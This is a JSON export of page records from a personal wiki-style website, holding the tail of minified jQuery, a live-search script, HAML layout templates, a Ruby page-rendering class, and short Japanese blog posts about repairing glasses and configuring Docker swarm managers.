e\u0026\u0026e.abort(b),A(0,b),this}};if(s.promise(y),o.url=((b||o.url||qb.href)+\"\").replace(Eb,qb.protocol+\"//\"),o.type=c.method||c.type||o.method||o.type,o.dataTypes=(o.dataType||\"*\").toLowerCase().match(K)||[\"\"],null==o.crossDomain){j=d.createElement(\"a\");try{j.href=o.url,j.href=j.href,o.crossDomain=Ib.protocol+\"//\"+Ib.host!=j.protocol+\"//\"+j.host}catch(z){o.crossDomain=!0}}if(o.data\u0026\u0026o.processData\u0026\u0026\"string\"!=typeof o.data\u0026\u0026(o.data=r.param(o.data,o.traditional)),Kb(Fb,o,c,y),k)return y;l=r.event\u0026\u0026o.global,l\u0026\u00260===r.active++\u0026\u0026r.event.trigger(\"ajaxStart\"),o.type=o.type.toUpperCase(),o.hasContent=!Db.test(o.type),f=o.url.replace(zb,\"\"),o.hasContent?o.data\u0026\u0026o.processData\u0026\u00260===(o.contentType||\"\").indexOf(\"application/x-www-form-urlencoded\")\u0026\u0026(o.data=o.data.replace(yb,\"+\")):(n=o.url.slice(f.length),o.data\u0026\u0026(f+=(sb.test(f)?\"\u0026\":\"?\")+o.data,delete o.data),o.cache===!1\u0026\u0026(f=f.replace(Ab,\"\"),n=(sb.test(f)?\"\u0026\":\"?\")+\"_=\"+rb++ +n),o.url=f+n),o.ifModified\u0026\u0026(r.lastModified[f]\u0026\u0026y.setRequestHeader(\"If-Modified-Since\",r.lastModified[f]),r.etag[f]\u0026\u0026y.setRequestHeader(\"If-None-Match\",r.etag[f])),(o.data\u0026\u0026o.hasContent\u0026\u0026o.contentType!==!1||c.contentType)\u0026\u0026y.setRequestHeader(\"Content-Type\",o.contentType),y.setRequestHeader(\"Accept\",o.dataTypes[0]\u0026\u0026o.accepts[o.dataTypes[0]]?o.accepts[o.dataTypes[0]]+(\"*\"!==o.dataTypes[0]?\", \"+Hb+\"; q=0.01\":\"\"):o.accepts[\"*\"]);for(m in o.headers)y.setRequestHeader(m,o.headers[m]);if(o.beforeSend\u0026\u0026(o.beforeSend.call(p,y,o)===!1||k))return y.abort();if(x=\"abort\",t.add(o.complete),y.done(o.success),y.fail(o.error),e=Kb(Gb,o,c,y)){if(y.readyState=1,l\u0026\u0026q.trigger(\"ajaxSend\",[y,o]),k)return y;o.async\u0026\u0026o.timeout\u003e0\u0026\u0026(i=a.setTimeout(function(){y.abort(\"timeout\")},o.timeout));try{k=!1,e.send(v,A)}catch(z){if(k)throw z;A(-1,z)}}else A(-1,\"No Transport\");function A(b,c,d,h){var j,m,n,v,w,x=c;k||(k=!0,i\u0026\u0026a.clearTimeout(i),e=void 0,g=h||\"\",y.readyState=b\u003e0?4:0,j=b\u003e=200\u0026\u0026b\u003c300||304===b,d\u0026\u0026(v=Mb(o,y,d)),v=Nb(o,v,y,j),j?(o.ifModified\u0026\u0026(w=y.getResponseHeader(\"Last-Modified\"),w\u0026\u0026(r.lastModified[f]=w),w=y.getResponseHeader(\"etag\"),w\u0026\u0026(r.etag[f]=w)),204===b||\"HEAD\"===o.type?x=\"nocontent\":304===b?x=\"notmodified\":(x=v.state,m=v.data,n=v.error,j=!n)):(n=x,!b\u0026\u0026x||(x=\"error\",b\u003c0\u0026\u0026(b=0))),y.status=b,y.statusText=(c||x)+\"\",j?s.resolveWith(p,[m,x,y]):s.rejectWith(p,[y,x,n]),y.statusCode(u),u=void 0,l\u0026\u0026q.trigger(j?\"ajaxSuccess\":\"ajaxError\",[y,o,j?m:n]),t.fireWith(p,[y,x]),l\u0026\u0026(q.trigger(\"ajaxComplete\",[y,o]),--r.active||r.event.trigger(\"ajaxStop\")))}return y},getJSON:function(a,b,c){return r.get(a,b,c,\"json\")},getScript:function(a,b){return r.get(a,void 0,b,\"script\")}}),r.each([\"get\",\"post\"],function(a,b){r[b]=function(a,c,d,e){return r.isFunction(c)\u0026\u0026(e=e||d,d=c,c=void 0),r.ajax(r.extend({url:a,type:b,dataType:e,data:c,success:d},r.isPlainObject(a)\u0026\u0026a))}}),r._evalUrl=function(a){return r.ajax({url:a,type:\"GET\",dataType:\"script\",cache:!0,async:!1,global:!1,\"throws\":!0})},r.fn.extend({wrapAll:function(a){var b;return this[0]\u0026\u0026(r.isFunction(a)\u0026\u0026(a=a.call(this[0])),b=r(a,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode\u0026\u0026b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this},wrapInner:function(a){return r.isFunction(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(a){return this.parent(a).not(\"body\").each(function(){r(this).replaceWith(this.childNodes)}),this}}),r.expr.pseudos.hidden=function(a){return!r.expr.pseudos.visible(a)},r.expr.pseudos.visible=function(a){return!!(a.offsetWidth||a.offsetHeight||a.getClientRects().length)},r.ajaxSettings.xhr=function(){try{return new a.XMLHttpRequest}catch(b){}};var Ob={0:200,1223:204},Pb=r.ajaxSettings.xhr();o.cors=!!Pb\u0026\u0026\"withCredentials\"in Pb,o.ajax=Pb=!!Pb,r.ajaxTransport(function(b){var c,d;if(o.cors||Pb\u0026\u0026!b.crossDomain)return{send:function(e,f){var g,h=b.xhr();if(h.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(g in b.xhrFields)h[g]=b.xhrFields[g];b.mimeType\u0026\u0026h.overrideMimeType\u0026\u0026h.overrideMimeType(b.mimeType),b.crossDomain||e[\"X-Requested-With\"]||(e[\"X-Requested-With\"]=\"XMLHttpRequest\");for(g in e)h.setRequestHeader(g,e[g]);c=function(a){return function(){c\u0026\u0026(c=d=h.onload=h.onerror=h.onabort=h.onreadystatechange=null,\"abort\"===a?h.abort():\"error\"===a?\"number\"!=typeof h.status?f(0,\"error\"):f(h.status,h.statusText):f(Ob[h.status]||h.status,h.statusText,\"text\"!==(h.responseType||\"text\")||\"string\"!=typeof h.responseText?{binary:h.response}:{text:h.responseText},h.getAllResponseHeaders()))}},h.onload=c(),d=h.onerror=c(\"error\"),void 0!==h.onabort?h.onabort=d:h.onreadystatechange=function(){4===h.readyState\u0026\u0026a.setTimeout(function(){c\u0026\u0026d()})},c=c(\"abort\");try{h.send(b.hasContent\u0026\u0026b.data||null)}catch(i){if(c)throw i}},abort:function(){c\u0026\u0026c()}}}),r.ajaxPrefilter(function(a){a.crossDomain\u0026\u0026(a.contents.script=!1)}),r.ajaxSetup({accepts:{script:\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\"},contents:{script:/\\b(?:java|ecma)script\\b/},converters:{\"text script\":function(a){return r.globalEval(a),a}}}),r.ajaxPrefilter(\"script\",function(a){void 0===a.cache\u0026\u0026(a.cache=!1),a.crossDomain\u0026\u0026(a.type=\"GET\")}),r.ajaxTransport(\"script\",function(a){if(a.crossDomain){var b,c;return{send:function(e,f){b=r(\"\u003cscript\u003e\").prop({charset:a.scriptCharset,src:a.url}).on(\"load error\",c=function(a){b.remove(),c=null,a\u0026\u0026f(\"error\"===a.type?404:200,a.type)}),d.head.appendChild(b[0])},abort:function(){c\u0026\u0026c()}}}});var Qb=[],Rb=/(=)\\?(?=\u0026|$)|\\?\\?/;r.ajaxSetup({jsonp:\"callback\",jsonpCallback:function(){var a=Qb.pop()||r.expando+\"_\"+rb++;return this[a]=!0,a}}),r.ajaxPrefilter(\"json jsonp\",function(b,c,d){var e,f,g,h=b.jsonp!==!1\u0026\u0026(Rb.test(b.url)?\"url\":\"string\"==typeof b.data\u0026\u00260===(b.contentType||\"\").indexOf(\"application/x-www-form-urlencoded\")\u0026\u0026Rb.test(b.data)\u0026\u0026\"data\");if(h||\"jsonp\"===b.dataTypes[0])return e=b.jsonpCallback=r.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h?b[h]=b[h].replace(Rb,\"$1\"+e):b.jsonp!==!1\u0026\u0026(b.url+=(sb.test(b.url)?\"\u0026\":\"?\")+b.jsonp+\"=\"+e),b.converters[\"script json\"]=function(){return g||r.error(e+\" was not called\"),g[0]},b.dataTypes[0]=\"json\",f=a[e],a[e]=function(){g=arguments},d.always(function(){void 0===f?r(a).removeProp(e):a[e]=f,b[e]\u0026\u0026(b.jsonpCallback=c.jsonpCallback,Qb.push(e)),g\u0026\u0026r.isFunction(f)\u0026\u0026f(g[0]),g=f=void 0}),\"script\"}),o.createHTMLDocument=function(){var a=d.implementation.createHTMLDocument(\"\").body;return a.innerHTML=\"\u003cform\u003e\u003c/form\u003e\u003cform\u003e\u003c/form\u003e\",2===a.childNodes.length}(),r.parseHTML=function(a,b,c){if(\"string\"!=typeof a)return[];\"boolean\"==typeof b\u0026\u0026(c=b,b=!1);var e,f,g;return b||(o.createHTMLDocument?(b=d.implementation.createHTMLDocument(\"\"),e=b.createElement(\"base\"),e.href=d.location.href,b.head.appendChild(e)):b=d),f=B.exec(a),g=!c\u0026\u0026[],f?[b.createElement(f[1])]:(f=oa([a],b,g),g\u0026\u0026g.length\u0026\u0026r(g).remove(),r.merge([],f.childNodes))},r.fn.load=function(a,b,c){var d,e,f,g=this,h=a.indexOf(\" \");return h\u003e-1\u0026\u0026(d=r.trim(a.slice(h)),a=a.slice(0,h)),r.isFunction(b)?(c=b,b=void 0):b\u0026\u0026\"object\"==typeof b\u0026\u0026(e=\"POST\"),g.length\u003e0\u0026\u0026r.ajax({url:a,type:e||\"GET\",dataType:\"html\",data:b}).done(function(a){f=arguments,g.html(d?r(\"\u003cdiv\u003e\").append(r.parseHTML(a)).find(d):a)}).always(c\u0026\u0026function(a,b){g.each(function(){c.apply(this,f||[a.responseText,b,a])})}),this},r.each([\"ajaxStart\",\"ajaxStop\",\"ajaxComplete\",\"ajaxError\",\"ajaxSuccess\",\"ajaxSend\"],function(a,b){r.fn[b]=function(a){return this.on(b,a)}}),r.expr.pseudos.animated=function(a){return r.grep(r.timers,function(b){return a===b.elem}).length};function Sb(a){return r.isWindow(a)?a:9===a.nodeType\u0026\u0026a.defaultView}r.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=r.css(a,\"position\"),l=r(a),m={};\"static\"===k\u0026\u0026(a.style.position=\"relative\"),h=l.offset(),f=r.css(a,\"top\"),i=r.css(a,\"left\"),j=(\"absolute\"===k||\"fixed\"===k)\u0026\u0026(f+i).indexOf(\"auto\")\u003e-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),r.isFunction(b)\u0026\u0026(b=b.call(a,c,r.extend({},h))),null!=b.top\u0026\u0026(m.top=b.top-h.top+g),null!=b.left\u0026\u0026(m.left=b.left-h.left+e),\"using\"in b?b.using.call(a,m):l.css(m)}},r.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){r.offset.setOffset(this,a,b)});var b,c,d,e,f=this[0];if(f)return f.getClientRects().length?(d=f.getBoundingClientRect(),d.width||d.height?(e=f.ownerDocument,c=Sb(e),b=e.documentElement,{top:d.top+c.pageYOffset-b.clientTop,left:d.left+c.pageXOffset-b.clientLeft}):d):{top:0,left:0}},position:function(){if(this[0]){var a,b,c=this[0],d={top:0,left:0};return\"fixed\"===r.css(c,\"position\")?b=c.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),r.nodeName(a[0],\"html\")||(d=a.offset()),d={top:d.top+r.css(a[0],\"borderTopWidth\",!0),left:d.left+r.css(a[0],\"borderLeftWidth\",!0)}),{top:b.top-d.top-r.css(c,\"marginTop\",!0),left:b.left-d.left-r.css(c,\"marginLeft\",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent;while(a\u0026\u0026\"static\"===r.css(a,\"position\"))a=a.offsetParent;return a||pa})}}),r.each({scrollLeft:\"pageXOffset\",scrollTop:\"pageYOffset\"},function(a,b){var c=\"pageYOffset\"===b;r.fn[a]=function(d){return S(this,function(a,d,e){var f=Sb(a);return void 0===e?f?f[b]:a[d]:void(f?f.scrollTo(c?f.pageXOffset:e,c?e:f.pageYOffset):a[d]=e)},a,d,arguments.length)}}),r.each([\"top\",\"left\"],function(a,b){r.cssHooks[b]=Na(o.pixelPosition,function(a,c){if(c)return c=Ma(a,b),Ka.test(c)?r(a).position()[b]+\"px\":c})}),r.each({Height:\"height\",Width:\"width\"},function(a,b){r.each({padding:\"inner\"+a,content:b,\"\":\"outer\"+a},function(c,d){r.fn[d]=function(e,f){var g=arguments.length\u0026\u0026(c||\"boolean\"!=typeof e),h=c||(e===!0||f===!0?\"margin\":\"border\");return S(this,function(b,c,e){var f;return r.isWindow(b)?0===d.indexOf(\"outer\")?b[\"inner\"+a]:b.document.documentElement[\"client\"+a]:9===b.nodeType?(f=b.documentElement,Math.max(b.body[\"scroll\"+a],f[\"scroll\"+a],b.body[\"offset\"+a],f[\"offset\"+a],f[\"client\"+a])):void 0===e?r.css(b,c,h):r.style(b,c,e,h)},b,g?e:void 0,g)}})}),r.fn.extend({bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,\"**\"):this.off(b,a||\"**\",c)}}),r.parseJSON=JSON.parse,\"function\"==typeof define\u0026\u0026define.amd\u0026\u0026define(\"jquery\",[],function(){return r});var Tb=a.jQuery,Ub=a.$;return r.noConflict=function(b){return a.$===r\u0026\u0026(a.$=Ub),b\u0026\u0026a.jQuery===r\u0026\u0026(a.jQuery=Tb),r},b||(a.jQuery=a.$=r),r});","created_at":"2016-09-07T06:45:25.000Z","updated_at":"2016-09-07T06:45:25.000Z"},{"id":2994,"name":"search.coffee","body":"raw\r\nmime js\r\n\r\nvar search_loop = (str)=\u003e{\r\n setTimeout(()=\u003e{\r\n var new_str = $('#search').val();\r\n if(new_str == str || new_str == ''){\r\n if(new_str == ''){ $('#search_area').html('') }\r\n search_loop(new_str);\r\n } else {\r\n $.get('/search', {q: new_str}).done((data)=\u003e{\r\n $('#search_area').html('')\r\n data.forEach((n)=\u003e{\r\n $('#search_area').append(\r\n $('\u003cp\u003e').html(\r\n $('\u003ca\u003e').attr({href: \"/#{n[0]}\"}).text(n[0])\r\n ).append(\r\n $('\u003cspan\u003e').addClass('lightgray').html(\"  #{n[3]}\")\r\n )\r\n );\r\n });\r\n search_loop(new_str);\r\n }).fail(()=\u003e{\r\n $('#search_area').html('')\r\n seach_loop(new_str)\r\n });\r\n }\r\n }, 200);\r\n}\r\n\r\n$(()=\u003e{\r\n search_loop('')\r\n});","created_at":"2016-09-07T13:21:35.000Z","updated_at":"2016-09-07T13:21:35.000Z"},{"id":2995,"name":"text/日記です","body":"%blog%\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e自転車でコケて頭うったところ視力が終わってる\u003c/p\u003e\u0026mdash; ラ・バンダ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/774595880645107713\"\u003eSeptember 10, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e眼鏡をあたためたせいかもしれない\u003c/p\u003e\u0026mdash; ラ・バンダ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/774595954322178049\"\u003eSeptember 10, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n眼鏡を温めたというのはフレームが広がってかけづらくなっていたのでドライヤーで温めてまげて直したということです\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eめがね、レンズがなくなってた!!!\u003c/p\u003e\u0026mdash; ラ・バンダ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/774596090578415616\"\u003eSeptember 10, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eメガネ無いと不便なので、家に残してあったフレーム壊れてるメガネ再利用してます \u003ca href=\"https://t.co/XYgXzZQgZd\"\u003epic.twitter.com/XYgXzZQgZd\u003c/a\u003e\u003c/p\u003e\u0026mdash; ラ・バンダ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/774601102851395585\"\u003eSeptember 10, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e輪ゴムはあまりにもひどいということでダクトテープを駆使して暫定版メガネが作成された \u003ca href=\"https://t.co/fJU7Gncehv\"\u003epic.twitter.com/fJU7Gncehv\u003c/a\u003e\u003c/p\u003e\u0026mdash; ラ・バンダ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/774603784190210048\"\u003eSeptember 10, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n### 結論\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eダクトテープがあればなんでもできる\u003c/p\u003e\u0026mdash; 3日前の倅 (@051uJhyvk) \u003ca href=\"https://twitter.com/051uJhyvk/status/774603940725792769\"\u003eSeptember 10, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2016-09-10T13:49:27.000Z","updated_at":"2016-09-10T13:49:27.000Z"},{"id":2996,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - texts\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - texts\r\n -page = 1\r\n -names = []\r\n -Page.where(\"name like ?\", \"text/%\").order(\"id desc\").each do |p|\r\n -next if names.index(p.name)\r\n -names \u003c\u003c p.name\r\n -next unless p.name =~ /text\\//\r\n %p\r\n %a{href: \"/#{URI.encode p.name}\"}=p.blogtitle\r\n %span{style: 'color:grey'}=\"(#{p.created_at.utc})\"","created_at":"2016-09-10T16:49:58.000Z","updated_at":"2016-09-10T16:49:58.000Z"},{"id":2997,"name":"text/swarm_mode_manager","body":"%blog% Docker swarm モードでは全ノードをマネージャーにしたほうがよさそう\r\n\r\nDocker swarm モードには Ingress というロードバランサ機構が存在しており、クラスタ内のどのマシンにアクセスしても上手いところ飛ばしてくれるみたいになってます。\r\n\r\nが、実際にはこれがそんなに安定しているとは言い難く、自前での死活監視が必要、と昨日まで僕は考えていました。\r\n\r\nところが思い付きで全ノードをマネージャーに設定してみたところ嘘のように安定したので、そのようにするとよいと思いました。終わり。\r\n\r\nDocker は未だにコンテナ側がホスト巻き込んで死滅するみたいなことがありえます。よって接続点としてマネージャーとしてのみ機能するノード(これは Drain にしておく)みたいのはそれはそれで置いておけばよいと思います。しかしとにかく全ノードをマネージャーにしたほうがネットワークが安定するのでよいです。","created_at":"2016-09-12T07:24:17.000Z","updated_at":"2016-09-12T07:24:17.000Z"},{"id":2998,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"https://code.jquery.com/jquery-3.1.0.min.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %h4 Site Search\r\n %div\r\n %input#search\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %h4 Update History of this content\r\n %div\r\n %ul\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2016-09-13T07:21:09.000Z","updated_at":"2016-09-13T07:21:09.000Z"},{"id":2999,"name":"search.coffee","body":"raw\r\nmime js\r\n\r\nvar search_loop = (str)=\u003e{\r\n setTimeout(()=\u003e{\r\n var new_str = $('#search').val();\r\n if(new_str == str || new_str == ''){\r\n if(new_str == ''){ $('#search_area').html('') }\r\n search_loop(new_str);\r\n } else {\r\n $.get('/search', {q: new_str}).done((data)=\u003e{\r\n $('#search_area').html('')\r\n data.forEach((n)=\u003e{\r\n $('#search_area').append(\r\n $('\u003cp\u003e').html(\r\n $('\u003ca\u003e').attr({href: \"/\"+n[0]}).text(n[0])\r\n ).append(\r\n $('\u003cspan\u003e').addClass('lightgray').html(\"  \"+n[3]\")\r\n )\r\n );\r\n });\r\n search_loop(new_str);\r\n }).fail(()=\u003e{\r\n $('#search_area').html('')\r\n seach_loop(new_str)\r\n });\r\n }\r\n }, 200);\r\n}\r\n\r\n$(()=\u003e{\r\n search_loop('')\r\n});\r\n","created_at":"2016-09-13T07:22:59.000Z","updated_at":"2016-09-13T07:22:59.000Z"},{"id":3000,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"https://code.jquery.com/jquery-3.1.0.min.js\"}\r\n%script{:src =\u003e \"/search.coffee\"}\r\n\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %h4 Site Search\r\n %div\r\n %input#search\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %h4 Update History of this content\r\n %div\r\n %ul\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2016-09-13T07:23:52.000Z","updated_at":"2016-09-13T07:23:52.000Z"},{"id":3001,"name":"search.coffee","body":"raw\r\nmime js\r\n\r\nvar search_loop = (str)=\u003e{\r\n setTimeout(()=\u003e{\r\n var new_str = $('#search').val();\r\n if(new_str == str || new_str == ''){\r\n if(new_str == ''){ $('#search_area').html('') }\r\n search_loop(new_str);\r\n } else {\r\n $.get('/search', {q: new_str}).done((data)=\u003e{\r\n $('#search_area').html('')\r\n data.forEach((n)=\u003e{\r\n $('#search_area').append(\r\n $('\u003cp\u003e').html(\r\n $('\u003ca\u003e').attr({href: \"/\"+n[0]}).text(n[0])\r\n ).append(\r\n $('\u003cspan\u003e').addClass('lightgray').html(\"  \"+n[3])\r\n )\r\n );\r\n });\r\n search_loop(new_str);\r\n }).fail(()=\u003e{\r\n $('#search_area').html('')\r\n seach_loop(new_str)\r\n });\r\n }\r\n }, 200);\r\n}\r\n\r\n$(()=\u003e{\r\n search_loop('')\r\n});\r\n","created_at":"2016-09-13T07:25:26.000Z","updated_at":"2016-09-13T07:25:26.000Z"},{"id":3002,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\n\r\nclass SearchIndex \u003c ActiveRecord::Base\r\nend\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain 